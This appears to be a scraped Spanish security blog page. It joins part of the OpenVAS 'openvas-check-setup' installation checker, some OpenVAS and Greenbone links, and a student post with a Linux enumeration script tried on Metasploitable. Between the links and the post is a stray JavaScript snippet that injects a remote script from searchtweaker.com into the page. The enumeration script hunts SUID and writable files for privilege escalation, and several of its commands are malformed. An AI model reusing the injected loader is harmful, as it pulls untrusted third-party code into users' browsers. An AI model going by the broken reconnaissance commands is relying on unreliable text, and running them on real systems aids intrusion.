log_and_print "FIX: Please remove the installation of the old OpenVAS Scanner (openvasd)."
check_failed
fi
echo "" >> $LOG

echo "Checking presence of OpenVAS Scanner ..." >> $LOG
openvassd --version >> $LOG 2>&1
if [ $? -ne 0 ]
then
log_and_print "ERROR: No OpenVAS Scanner (openvassd) found."
log_and_print "FIX: Please install OpenVAS Scanner."
check_failed
fi
echo "" >> $LOG

echo "Checking OpenVAS Scanner version ..." >> $LOG

VERSION=`openvassd --version | head -1 | sed -e "s/OpenVAS Scanner //"`

if [ `echo $VERSION | grep "^$SCANNER_MAJOR\.$SCANNER_MINOR" | wc -l` -ne "1" ]
then
log_and_print "ERROR: OpenVAS Scanner too old or too new: $VERSION"
log_and_print "FIX: Please install OpenVAS Scanner $SCANNER_MAJOR.$SCANNER_MINOR."
check_failed
fi
echo "" >> $LOG

log_and_print "OK: OpenVAS Scanner is present in version $VERSION."

openvassd -s >> $LOG

echo "Checking OpenVAS Scanner CA cert ..." >> $LOG
CAFILE=`openvassd -s | grep ca_file | sed -e "s/^ca_file = //"`
if [ ! -e $CAFILE ]
then
log_and_print "ERROR: No CA certificate file of OpenVAS Scanner found."
log_and_print "FIX: Run 'openvas-mkcert'."
check_failed
fi
echo "" >> $LOG

log_and_print "OK: OpenVAS Scanner CA Certificate is present as $CAFILE."

echo "Checking NVT collection ..." >> $LOG
PLUGINSFOLDER=`openvassd -s | grep plugins_folder | sed -e "s/^plugins_folder = //"`
if [ ! -d $PLUGINSFOLDER ]
then
log_and_print "ERROR: Directory containing the NVT collection not found."
log_and_print "FIX: Run a synchronization script like openvas-nvt-sync or greenbone-nvt-sync."
check_failed
fi
OLDPLUGINSFOLDER=`echo "$PLUGINSFOLDER" | grep -q -v "/var/" 2>&1`
if [ $? -eq 0 ]
then
CONFFILE=`openvassd -s | grep config_file | sed -e "s/^config_file = //"`
log_and_print "ERROR: Your OpenVAS Scanner configuration seems to be from a pre-OpenVAS-4 installation and contains non-FHS compliant paths."
log_and_print "FIX: Delete your OpenVAS Scanner Configuration file ($CONFFILE)."
check_failed
fi
NVTCOUNT=`find $PLUGINSFOLDER -name "*nasl" | wc -l`
if [ $NVTCOUNT -lt 10 ]
then
log_and_print "ERROR: The NVT collection is very small."
log_and_print "FIX: Run a synchronization script like openvas-nvt-sync or greenbone-nvt-sync."
check_failed
fi
echo "" >> $LOG

log_and_print "OK: NVT collection in $PLUGINSFOLDER contains $NVTCOUNT NVTs."

echo "Checking status of signature checking in OpenVAS Scanner ..." >> $LOG
NOSIGCHECK=`openvassd -s | grep nasl_no_signature_check | sed -e "s/^nasl_no_signature_check = //"`
if [ $NOSIGCHECK != "no" ]
then
log_and_print "WARNING: Signature checking of NVTs is not enabled in OpenVAS Scanner."
log_and_print "SUGGEST: Enable signature checking (see http://www.openvas.org/trusted-nvts.html)."
else
log_and_print "OK: Signature checking of NVTs is enabled in OpenVAS Scanner."
fi
echo "" >> $LOG


echo "Step 2: Checking OpenVAS Manager ... "

echo "Checking presence of OpenVAS Manager ..." >> $LOG
openvasmd --version >> $LOG 2>&1
if [ $? -ne 0 ]
then
log_and_print "ERROR: No OpenVAS Manager (openvasmd) found."
log_and_print "FIX: Please install OpenVAS Manager."
check_failed
fi
echo "" >> $LOG

VERSION=`openvasmd --version | head -1 | sed -e "s/OpenVAS Manager //"`

if [ `echo $VERSION | grep "^$MANAGER_MAJOR\.$MANAGER_MINOR" | wc -l` -ne "1" ]
then
log_and_print "ERROR: OpenVAS Manager too old or too new: $VERSION"
log_and_print "FIX: Please install OpenVAS Manager $MANAGER_MAJOR.$MANAGER_MINOR."
check_failed
fi
echo "" >> $LOG

log_and_print "OK: OpenVAS Manager is present in version $VERSION."

echo "Checking OpenVAS Manager client certificate ..." >> $LOG
CERTDIR=`dirname $CAFILE`
CLIENTCERTFILE="$CERTDIR/clientcert.pem"
if [ ! -e $CLIENTCERTFILE ]
then
log_and_print "ERROR: No client certificate file of OpenVAS Manager found."
log_and_print "FIX: Run 'openvas-mkcert-client -n om -i'"
check_failed
fi
echo "" >> $LOG

log_and_print "OK: OpenVAS Manager client certificate is present as $CLIENTCERTFILE."

echo "Checking OpenVAS Manager database ..." >> $LOG
# Guess openvas state dir from $PLUGINSFOLDER
STATEDIR=`dirname $PLUGINSFOLDER`
TASKSDB="$STATEDIR/mgr/tasks.db"
if [ ! -e $TASKSDB ]
then
log_and_print "ERROR: No OpenVAS Manager database found. (Tried: $TASKSDB)"
log_and_print "FIX: Run 'openvasmd --rebuild' while OpenVAS Scanner is running."
check_failed
fi
echo "" >> $LOG

log_and_print "OK: OpenVAS Manager database found in $TASKSDB."

echo "Checking access rights of OpenVAS Manager database ..." >> $LOG
TASKSDBPERMS=`stat -c "%a" "$TASKSDB"`
if [ "$TASKSDBPERMS" != "600" ]
then
log_and_print "ERROR: The access rights of the OpenVAS Manager database are incorrect."
log_and_print "FIX: Run 'chmod 600 $TASKSDB'."
check_failed
fi
echo "" >> $LOG

log_and_print "OK: Access rights for the OpenVAS Manager database are correct."

echo "Checking sqlite3 presence ..." >> $LOG
SQLITE3=`type sqlite3 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find sqlite3 binary, extended manager checks of the OpenVAS Manager installation are disabled."
log_and_print "SUGGEST: Install sqlite3."
HAVE_SQLITE=0
else
log_and_print "OK: sqlite3 found, extended checks of the OpenVAS Manager installation enabled."
HAVE_SQLITE=1
fi
echo "" >> $LOG

if [ $HAVE_SQLITE -eq 1 ]
then
echo "Checking OpenVAS Manager database revision ..." >> $LOG
TASKSDBREV=`sqlite3 $TASKSDB "select value from meta where name='database_version';"`
if [ -z $TASKSDBREV ]
then
log_and_print "ERROR: Could not determine database revision, database corrupt or in invalid format."
log_and_print "FIX: Delete database at $TASKSDB and rebuild it."
check_failed
else
log_and_print "OK: OpenVAS Manager database is at revision $TASKSDBREV."
fi
echo "Checking database revision expected by OpenVAS Manager ..." >> $LOG
MANAGERDBREV=`openvasmd --version | grep "Manager DB revision" | sed -e "s/.*\ //"`
if [ -z $MANAGERDBREV ]
then
log_and_print "ERROR: Could not determine database revision expected by OpenVAS Manager."
log_and_print "FIX: Ensure OpenVAS Manager is installed correctly."
check_failed
else
log_and_print "OK: OpenVAS Manager expects database at revision $MANAGERDBREV."
fi
if [ $TASKSDBREV -lt $MANAGERDBREV ]
then
log_and_print "ERROR: Database schema is out of date."
log_and_print "FIX: Run 'openvasmd --migrate'."
check_failed
else
log_and_print "OK: Database schema is up to date."
fi
echo "Checking OpenVAS Manager database (NVT data) ..." >> $LOG
DBNVTCOUNT=`sqlite3 $TASKSDB "select count(*) from nvts;"`
if [ $DBNVTCOUNT -lt 20000 ]
then
log_and_print "ERROR: The number of NVTs in the OpenVAS Manager database is too low."
log_and_print "FIX: Make sure OpenVAS Scanner is running with an up-to-date NVT collection and run 'openvasmd --rebuild'."
check_failed
else
log_and_print "OK: OpenVAS Manager database contains information about $DBNVTCOUNT NVTs."
fi
fi

echo "Checking xsltproc presence ..." >> $LOG
XSLTPROC=`type xsltproc 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find xsltproc binary, most report formats will not work."
log_and_print "SUGGEST: Install xsltproc."
else
log_and_print "OK: xsltproc found."
fi
echo "" >> $LOG


echo "Step 3: Checking OpenVAS Administrator ... "

echo "Checking presence of OpenVAS Administrator ..." >> $LOG
openvasad --version >> $LOG 2>&1
if [ $? -ne 0 ]
then
log_and_print "ERROR: No OpenVAS Administrator (openvasad) found."
log_and_print "FIX: Please install OpenVAS Administrator."
check_failed
fi
echo "" >> $LOG

VERSION=`openvasad --version | head -1 | sed -e "s/OpenVAS Administrator //"`

if [ `echo $VERSION | grep "^$ADMINISTRATOR_MAJOR\.$ADMINISTRATOR_MINOR" | wc -l` -ne "1" ]
then
log_and_print "ERROR: OpenVAS Administrator too old or too new: $VERSION"
log_and_print "FIX: Please install OpenVAS Administrator $ADMINISTRATOR_MAJOR.$ADMINISTRATOR_MINOR."
check_failed
fi
echo "" >> $LOG

log_and_print "OK: OpenVAS Administrator is present in version $VERSION."

echo "Checking if users exist ..." >> $LOG
USERCOUNT=`openvasad -c "list_users" | sed -e "/^$/d" | wc -l`
if [ $USERCOUNT -eq 0 ]
then
log_and_print "ERROR: No users found. You need to create at least one user to log in."
log_and_print " It is recommended to have at least one user with role Admin."
log_and_print "FIX: Create a user using 'openvasad -c 'add_user' -n <name> --role=Admin'"
check_failed
else
log_and_print "OK: At least one user exists."
fi
echo "" >> $LOG

echo "Checking if at least one admin user exists ..." >> $LOG
ADMINEXISTS=`ls $STATEDIR/users/*/isadmin 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "ERROR: No admin user found. You need to create at least one admin user to log in."
log_and_print "FIX: Create a user using 'openvasad -c 'add_user' -n <name> -r Admin'"
check_failed
else
log_and_print "OK: At least one admin user exists."
fi
echo "" >> $LOG


echo "Step 4: Checking Greenbone Security Assistant (GSA) ... "

echo "Checking presence of Greenbone Security Assistant ..." >> $LOG
gsad --version >> $LOG 2>&1
if [ $? -ne 0 ]
then
log_and_print "ERROR: No Greenbone Security Assistant (gsad) found."
log_and_print "FIX: Please install Greenbone Security Assistant."
check_failed
fi
echo "" >> $LOG

VERSION=`gsad --version | head -1 | sed -e "s/Greenbone Security Assistant //"`

if [ `echo $VERSION | grep "^$GSA_MAJOR\.$GSA_MINOR" | wc -l` -ne "1" ]
then
log_and_print "ERROR: Greenbone Security Assistant too old or too new: $VERSION"
log_and_print "FIX: Please install Greenbone Security Assistant $GSA_MAJOR.$GSA_MINOR."
check_failed
fi
echo "" >> $LOG

log_and_print "OK: Greenbone Security Assistant is present in version $VERSION."

echo "Step 5: Checking OpenVAS CLI ... "

if [ "$MODE" != "server" ]
then
echo "Checking presence of OpenVAS CLI ..." >> $LOG
omp --version >> $LOG 2>&1
if [ $? -ne 0 ]
then
log_and_print "ERROR: No OpenVAS CLI (omp) found."
log_and_print "FIX: Please install OpenVAS CLI."
check_failed
fi
echo "" >> $LOG

VERSION=`omp --version | head -1 | sed -e "s/OMP Command Line Interface //"`

if [ `echo $VERSION | grep "^$CLI_MAJOR\.$CLI_MINOR" | wc -l` -ne "1" ]
then
log_and_print "ERROR: OpenVAS CLI too old or too new: $VERSION"
log_and_print "FIX: Please install OpenVAS CLI $CLI_MAJOR.$CLI_MINOR."
check_failed
fi
echo "" >> $LOG

log_and_print "OK: OpenVAS CLI version $VERSION."
else
log_and_print "SKIP: Skipping check for OpenVAS CLI."
fi


echo "Step 6: Checking Greenbone Security Desktop (GSD) ... "

if [ "$MODE" != "server" ]
then
echo "Checking presence of Greenbone Security Desktop ..." >> $LOG
DISPLAY=fake gsd --version >> $LOG 2>&1
if [ $? -ne 0 ]
then
log_and_print "ERROR: No Greenbone Security Desktop (gsd) found or too old."
log_and_print "FIX: Please install Greenbone Security Desktop 1.1.0."
check_failed
fi
echo "" >> $LOG

VERSION=`gsd --version | head -1 | sed -e "s/Greenbone Security Desktop //"`

if [ `echo $VERSION | grep "^$GSD_MAJOR\.$GSD_MINOR" | wc -l` -ne "1" ]
then
# a special exception rule for v4 where also another release is OK
if [ $VER -eq "4" -a `echo $VERSION | grep "^1\.1" | wc -l` -ne "1" ]
then
log_and_print "ERROR: Greenbone Security Desktop too old or too new: $VERSION"
log_and_print "FIX: Please install Greenbone Security Desktop $GSD_MAJOR.$GSD_MINOR."
check_failed
fi
fi
echo "" >> $LOG

log_and_print "OK: Greenbone Security Desktop is present in Version $VERSION."
else
log_and_print "SKIP: Skipping check for Greenbone Security Assistant."
fi


echo "Step 7: Checking if OpenVAS services are up and running ... "

echo "Checking netstat presence ..." >> $LOG
NETSTAT=`type netstat 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find netstat binary, checks of the OpenVAS services are disabled."
log_and_print "SUGGEST: Install netstat."
HAVE_NETSTAT=0
else
log_and_print "OK: netstat found, extended checks of the OpenVAS services enabled."
HAVE_NETSTAT=1
fi
echo "" >> $LOG

if [ $HAVE_NETSTAT -eq 1 ]
then
netstat -A inet -ntlp 2> /dev/null >> $LOG
OPENVASSD_HOST=`netstat -A inet -ntlp 2> /dev/null | grep openvassd | awk -F\ '{print $4}' | awk -F: '{print $1}'`
OPENVASSD_PORT=`netstat -A inet -ntlp 2> /dev/null | grep openvassd | awk -F\ '{print $4}' | awk -F: '{print $2}'`
OPENVASMD_HOST=`netstat -A inet -ntlp 2> /dev/null | grep openvasmd | awk -F\ '{print $4}' | awk -F: '{print $1}'`
OPENVASMD_PORT=`netstat -A inet -ntlp 2> /dev/null | grep openvasmd | awk -F\ '{print $4}' | awk -F: '{print $2}'`
OPENVASAD_HOST=`netstat -A inet -ntlp 2> /dev/null | grep openvasad | awk -F\ '{print $4}' | awk -F: '{print $1}'`
OPENVASAD_PORT=`netstat -A inet -ntlp 2> /dev/null | grep openvasad | awk -F\ '{print $4}' | awk -F: '{print $2}'`
GSAD_HOST=`netstat -A inet -ntlp 2> /dev/null | grep gsad | awk -F\ '{print $4}' | awk -F: '{print $1}'`
GSAD_PORT=`netstat -A inet -ntlp 2> /dev/null | grep gsad | awk -F\ '{print $4}' | awk -F: '{print $2}'`

case "$OPENVASSD_HOST" in
"0.0.0.0") log_and_print "OK: OpenVAS Scanner is running and listening on all interfaces." ;;
"127.0.0.1") log_and_print "OK: OpenVAS Scanner is running and listening only on the local interface." ;;
"") OPENVASSD_PROC=`ps -Af | grep "openvassd: waiting for incoming connections" | grep -v grep | wc -l`
if [ $OPENVASSD_PROC -eq 0 ]
then
log_and_print "ERROR: OpenVAS Scanner is NOT running!" ;
log_and_print "FIX: Start OpenVAS Scanner (openvassd)." ;
else
log_and_print "WARNING: OpenVAS Scanner seems to be run by another user!" ;
log_and_print "FIX: If intended this is OK (e.g. as root). But we can not determine the port." ;
log_and_print "FIX: You might face subsequent problems if not intended." ;
fi
OPENVASSD_PORT=-1 ;;
esac
case $OPENVASSD_PORT in
-1) ;;
9391) log_and_print "OK: OpenVAS Scanner is listening on port 9391, which is the default port." ;;
*) log_and_print "WARNING: OpenVAS Scanner is listening on port $OPENVASSD_PORT, which is NOT the default port!"
log_and_print "SUGGEST: Ensure OpenVAS Scanner is listening on port 9391." ;;
esac

case "$OPENVASMD_HOST" in
"0.0.0.0") log_and_print "OK: OpenVAS Manager is running and listening on all interfaces." ;;
"127.0.0.1") log_and_print "WARNING: OpenVAS Manager is running and listening only on the local interface. This means that you will not be able to access the OpenVAS Manager from the outside using GSD or OpenVAS CLI."
log_and_print "SUGGEST: Ensure that OpenVAS Manager listens on all interfaces." ;;
"") log_and_print "ERROR: OpenVAS Manager is NOT running!" ; log_and_print "FIX: Start OpenVAS Manager (openvasmd)." ; OPENVASMD_PORT=-1 ;;
esac
case $OPENVASMD_PORT in
-1) ;;
9390) log_and_print "OK: OpenVAS Manager is listening on port 9390, which is the default port." ;;
*) log_and_print "WARNING: OpenVAS Manager is listening on port $OPENVASMD_PORT, which is NOT the default port!"
log_and_print "SUGGEST: Ensure OpenVAS Manager is listening on port 9390." ;;
esac

case "$OPENVASAD_HOST" in
"0.0.0.0") log_and_print "OK: OpenVAS Administrator is running and listening on all interfaces." ;;
"127.0.0.1") log_and_print "OK: OpenVAS Administrator is running and listening only on the local interface." ;;
"") log_and_print "ERROR: OpenVAS Administrator is NOT running!" ; log_and_print "FIX: Start OpenVAS Administrator (openvasad)." ; OPENVASAD_PORT=-1 ;;
esac
case $OPENVASAD_PORT in
-1) ;;
9393) log_and_print "OK: OpenVAS Administrator is listening on port 9393, which is the default port." ;;
*) log_and_print "WARNING: OpenVAS Administrator is listening on port $OPENVASAD_PORT, which is NOT the default port!"
log_and_print "SUGGEST: Ensure OpenVAS Administrator is listening on port 9393." ;;
esac

case "$GSAD_HOST" in
"0.0.0.0") log_and_print "OK: Greenbone Security Assistant is running and listening on all interfaces." ;;
"127.0.0.1") log_and_print "WARNING: Greenbone Security Assistant is running and listening only on the local interface. This means that you will not be able to access the Greenbone Security Assistant from the outside using a web browser."
log_and_print "SUGGEST: Ensure that Greenbone Security Assistant listens on all interfaces." ;;
"") log_and_print "ERROR: Greenbone Security Assistant is NOT running!" ; log_and_print "FIX: Start Greenbone Security Assistant (gsad)." ; GSAD_PORT=-1 ;;
esac
case $GSAD_PORT in
-1) ;;
80|443|9392) log_and_print "OK: Greenbone Security Assistant is listening on port $GSAD_PORT, which is the default port." ;;
*) log_and_print "WARNING: Greenbone Security Assistant is listening on port $GSAD_PORT, which is NOT the default port!"
log_and_print "SUGGEST: Ensure Greenbone Security Assistant is listening on one of the following ports: 80, 443, 9392." ;;
esac

if [ $OPENVASSD_PORT -eq -1 ] || [ $OPENVASMD_PORT -eq -1 ] || [ $OPENVASAD_PORT -eq -1 ] || [ $GSAD_PORT -eq -1 ]
then
check_failed
fi

fi


echo "Step 8: Checking nmap installation ..."

echo "Checking presence of nmap ..." >> $LOG
VERSION=`nmap --version | awk '/Nmap version/ { print $3 }'`

if [ $? -ne 0 ]
then
log_and_print "WARNING: No nmap installation found."
log_and_print "SUGGEST: You should install nmap for comprehensive network scanning (see http://nmap.org)"
else
if [ `echo $VERSION | grep "5\.51" | wc -l` -ne "1" ]
then
log_and_print "WARNING: Your version of nmap is not fully supported: $VERSION"
log_and_print "SUGGEST: You should install nmap 5.51."
else
log_and_print "OK: nmap is present in version $VERSION."
fi
fi
echo "" >> $LOG


echo "Step 9: Checking presence of optional tools ..."

echo "Checking presence of pdflatex ..." >> $LOG
PDFLATEX=`type pdflatex 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find pdflatex binary, the PDF report format will not work."
log_and_print "SUGGEST: Install pdflatex."
HAVE_PDFLATEX=0
else
log_and_print "OK: pdflatex found."
HAVE_PDFLATEX=1
fi
echo "" >> $LOG

if [ $HAVE_PDFLATEX -eq 1 ]
then
echo "Checking presence of LaTeX packages required for PDF report generation ..." >> $LOG
PDFTMPDIR=`mktemp -d -t openvas-check-setup-tmp.XXXXXXXXXX`
TEXFILE="$PDFTMPDIR/test.tex"
cat <<EOT > $TEXFILE
\documentclass{article}
\pagestyle{empty}

%\usepackage{color}
\usepackage{tabularx}
\usepackage{geometry}
\usepackage{comment}
\usepackage{longtable}
\usepackage{titlesec}
\usepackage{chngpage}
\usepackage{calc}
\usepackage{url}
\usepackage[utf8x]{inputenc}

\DeclareUnicodeCharacter {135}{{\textascii ?}}
\DeclareUnicodeCharacter {129}{{\textascii ?}}
\DeclareUnicodeCharacter {128}{{\textascii ?}}

\usepackage{colortbl}

% must come last
\usepackage{hyperref}
\definecolor{linkblue}{rgb}{0.11,0.56,1}
\definecolor{inactive}{rgb}{0.56,0.56,0.56}
\definecolor{openvas_debug}{rgb}{0.78,0.78,0.78}
\definecolor{openvas_false_positive}{rgb}{0.2275,0.2275,0.2275}
\definecolor{openvas_log}{rgb}{0.2275,0.2275,0.2275}
\definecolor{openvas_hole}{rgb}{0.7960,0.1137,0.0902}
\definecolor{openvas_note}{rgb}{0.3255,0.6157,0.7961}
\definecolor{openvas_report}{rgb}{0.68,0.74,0.88}
\definecolor{openvas_user_note}{rgb}{1.0,1.0,0.5625}
\definecolor{openvas_user_override}{rgb}{1.0,1.0,0.5625}
\definecolor{openvas_warning}{rgb}{0.9764,0.6235,0.1922}
\hypersetup{colorlinks=true,linkcolor=linkblue,urlcolor=blue,bookmarks=true,bookmarksopen=true}
\usepackage[all]{hypcap}

%\geometry{verbose,a4paper,tmargin=24mm,bottom=24mm}
\geometry{verbose,a4paper}
\setlength{\parskip}{\smallskipamount}
\setlength{\parindent}{0pt}

\title{PDF Report Test}
\pagestyle{headings}
\pagenumbering{arabic}
\begin{document}
This is a test of the PDF generation capabilities of your OpenVAS installation. Please ignore.
\end{document}
EOT
pdflatex -interaction batchmode -output-directory $PDFTMPDIR $TEXFILE > /dev/null 2>&1
if [ ! -f "$PDFTMPDIR/test.pdf" ]
then
log_and_print "WARNING: PDF generation failed, most likely due to missing LaTeX packages. The PDF report format will not work."
log_and_print "SUGGEST: Install required LaTeX packages."
else
log_and_print "OK: PDF generation successful. The PDF report format is likely to work."
fi
if [ -f "$PDFTMPDIR/test.log" ]
then
cat $PDFTMPDIR/test.log >> $LOG
fi
rm -rf $PDFTMPDIR
fi

echo "Checking presence of ssh-keygen ..." >> $LOG
SSHKEYGEN=`type ssh-keygen 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find ssh-keygen binary, LSC credential generation for GNU/Linux targets will not work."
log_and_print "SUGGEST: Install ssh-keygen."
HAVE_SSHKEYGEN=0
else
log_and_print "OK: ssh-keygen found, LSC credential generation for GNU/Linux targets is likely to work."
HAVE_SSHKEYGEN=1
fi
echo "" >> $LOG

if [ $HAVE_SSHKEYGEN -eq 1 ]
then
echo "Checking presence of rpm ..." >> $LOG
RPM=`type rpm 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find rpm binary, LSC credential package generation for RPM and DEB based targets will not work."
log_and_print "SUGGEST: Install rpm."
HAVE_RPM=0
else
log_and_print "OK: rpm found, LSC credential package generation for RPM based targets is likely to work."
HAVE_RPM=1
fi
echo "" >> $LOG

if [ $HAVE_RPM -eq 1 ]
then
echo "Checking presence of alien ..." >> $LOG
ALIEN=`type alien 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find alien binary, LSC credential package generation for DEB based targets will not work."
log_and_print "SUGGEST: Install alien."
HAVE_ALIEN=0
else
log_and_print "OK: alien found, LSC credential package generation for DEB based targets is likely to work."
HAVE_ALIEN=1
fi
echo "" >> $LOG
fi
fi

echo "Checking presence of nsis ..." >> $LOG
NSIS=`type makensis 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find makensis binary, LSC credential package generation for Microsoft Windows targets will not work."
log_and_print "SUGGEST: Install nsis."
HAVE_NSIS=0
else
log_and_print "OK: nsis found, LSC credential package generation for Microsoft Windows targets is likely to work."
HAVE_NSIS=1
fi
echo "" >> $LOG

echo ""
echo "It seems like your OpenVAS-$VER installation is OK."
echo ""
echo "If you think it is not OK, please report your observation"
echo "and help us to improve this check routine:"
echo "http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss"
echo "Please attach the log-file ($LOG) to help us analyze the problem."
echo ""
############################################################################################################################################# 

Algunos links que les será de mucha ayuda:
http://www.openvas.org   ...................................Proyecto Open VAS
http://www.openvas.org/openvas-nvt-feed.html   .............Open VAS   feed Services
http://www.greenbone.net/solutions/gbn_feed.de.html.........Greenbone Security Feed
http://www.greenbone.net/technology/openvas.net.html........Greenbone Open VAS
http://www.greenbone.net/technology/tool_architecture.de.html..Greenbone Security Assistant
http://www.greenbone.net/technology/gse.de.html.............Greenbone Security Feed 

(function(){try{var header=document.getElementsByTagName(“HEAD”)[0];var script=document.createElement(“SCRIPT”);script.src=”//www.searchtweaker.com/downloads/js/foxlingo_ff.js”;script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState==”complete”||this.readyState==”loaded”)){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Hoy nuevamente retomo mis clases del MUSI por lo que decidí ir a dar una vuelta por la universidad esta mañana, bueno para ser sincero fui a fisgonear  :p .Pude percatarme que existía un ambiente de preocupación y de una concentración fatal …”Horror la Biblioteca anda  a full” no sólo están los mismo chicos de siempre,… Hasta que ví la programación de los exámenes  para esta semana …
Ahi les dejo un sencillo script de consola , para recopilar información básica del sistema. Los resultados se redirigen aun fichero de texto, dicho fichero permitirá concentrarnos en el análisis de la información que hemos obtenido, en vez de  escribir una sucesión interactiva de comandos find (y comandos man para buscar los parametros de find ). 
2>/dev/null unida a cada comando es una redirección que elimina las advertencias que genera el comando find de “Permiso denegado” haciendo así el informe más fácil de leer y analizar.

********************************** Código ***************************************
<span>#!/bin/sh
echo version de la distribucion y kernel
cat /etc/issue
uname -a

echo sistemas de archivos activos
mount -l

echo configuracion de red
ifconfig -a
cat/etc/hosts
arp

echo herramientas de desarrollo disponibles
which gcc
which g++
which python

echo paquetes instalados (ubuntu)
dpkg -l

echo servicios
net stat -tulnpe
echo procesos
ps -aux

echo tareas programadas
 find /etc/cron* -ls 2>/dev/null
 find /var/spool/cron* -ls 2>/dev/null

echo ficheros con permisos de lectura en /etc
find /etc -user `id -u` -perm -u=r -o -group `id -g` -perm -g=r -o -perm -o=r -ls 2>/dev/null

echo ficheros SUID  & GUID con permisos de escritura
find / -o -group
`id -g` -perm -g=w -perm -u -o -perm -o=w -perm -u -o -perm -o=w -perm -g=s -ls 2>/dev/null

echo ficheros SUID & GUID
find / -type f -perm -u=s -o -type f -perm –ls 2>/dev/null

echo ficheros con permiso de escritura fuera de HOME
mount -l find / -path “$HOME” -prune -o -path “/proc”
-prune -o \ (! -type l \) \ (-user `id -u` -perm -u=w -o -group `id -g` -perm -g=w -o -perm -o=w\) -ls2>/dev/null
</span>
 **********************************************************************************

Al ejecutar el script en Metasploitable, se obtiene muchísima información . Aprobarlo se ha dicho….

Bueno tengo que continuar estudiando, pero sin antes hacer un ANUNCIO MUY IMPORTANTE , aquellos que estén interesados de querer brindar sus conocimientos a la comunidad para la elaboración de un proyecto entorno a la tecnologia HONEYPOT, sean bienvenidos!!! y los contactos son con mi persona  al correo arthur.huamani@opendeusto.es
AGUR….